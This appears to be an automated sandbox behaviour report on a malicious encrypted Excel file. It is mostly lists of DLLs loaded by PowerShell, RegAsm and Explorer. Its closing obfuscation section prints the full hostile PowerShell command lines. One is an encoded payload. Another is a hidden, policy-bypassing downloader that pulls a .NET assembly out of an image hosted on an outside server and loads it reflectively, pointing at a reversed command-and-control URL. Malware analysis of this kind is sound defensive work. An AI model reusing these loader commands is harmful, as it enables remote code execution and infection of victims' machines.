Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msacm32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\taskeng.exe Section loaded: ktmw32.dll Jump to behavior
Source: C:\Windows\System32\taskeng.exe Section loaded: wevtapi.dll Jump to behavior
Source: C:\Windows\System32\taskeng.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\taskeng.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\taskeng.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\taskeng.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: duser.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe Section loaded: duser.dll
Source: C:\Windows\explorer.exe Section loaded: dui70.dll
Source: C:\Windows\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe Section loaded: slc.dll
Source: C:\Windows\explorer.exe Section loaded: secur32.dll
Source: C:\Windows\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\explorer.exe Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: webio.dll
Source: C:\Windows\explorer.exe Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe Section loaded: duser.dll
Source: C:\Windows\explorer.exe Section loaded: dui70.dll
Source: C:\Windows\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe Section loaded: slc.dll
Source: C:\Windows\explorer.exe Section loaded: secur32.dll
Source: C:\Windows\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: webio.dll
Source: C:\Windows\explorer.exe Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe Section loaded: duser.dll
Source: C:\Windows\explorer.exe Section loaded: dui70.dll
Source: C:\Windows\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe Section loaded: slc.dll
Source: C:\Windows\explorer.exe Section loaded: secur32.dll
Source: C:\Windows\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\explorer.exe Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: webio.dll
Source: C:\Windows\explorer.exe Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe Section loaded: duser.dll
Source: C:\Windows\explorer.exe Section loaded: dui70.dll
Source: C:\Windows\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe Section loaded: slc.dll
Source: C:\Windows\explorer.exe Section loaded: secur32.dll
Source: C:\Windows\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\explorer.exe Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe Section loaded: webio.dll
Source: C:\Windows\SysWOW64\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: F:\System.Management.Automation Controle Financeiro Rump fix\obj\Debug\net20\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.454053406.0000000003E09000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.471104189.00000000082D0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: RegAsm.pdb source: rugtucw, 00000010.00000000.504303884.0000000000F92000.00000020.00000001.01000000.00000009.sdmp, rugtucw.14.dr
Source: Binary string: RegAsm.pdb4 source: rugtucw, 00000010.00000000.504303884.0000000000F92000.00000020.00000001.01000000.00000009.sdmp, rugtucw.14.dr
Source: Binary string: F:\System.Management.Automation Controle Financeiro Rump fix\obj\Debug\net20\System.Management.Automation.pdbSHA256 source: powershell.exe, 0000000C.00000002.454053406.0000000003E09000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.471104189.00000000082D0000.00000004.08000000.00040000.00000000.sdmp
Source: #20240627_Edlen_A.xls Initial sample: OLE indicators vbamacros = False
Source: #20240627_Edlen_A.xls Initial sample: OLE indicators encrypted = True

Data Obfuscation
barindex
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDgDgTreNQDgTrevDgTreDcDgTreMgDgTrewDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDYDgTreMwDgTrewDgTreDcDgTreNgDgTrezDgTreDQDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634', 'https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.GBR/0808/651.771.64.891//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))} }"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDgDgTreNQDgTrevDgTreDcDgTreMgDgTrewDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDYDgTreMwDgTrewDgTreDcDgTreNgDgTrezDgTreDQDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhD Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634', 'https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.GBR/0808/651.771.64.891//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))} }" Jump to behavior
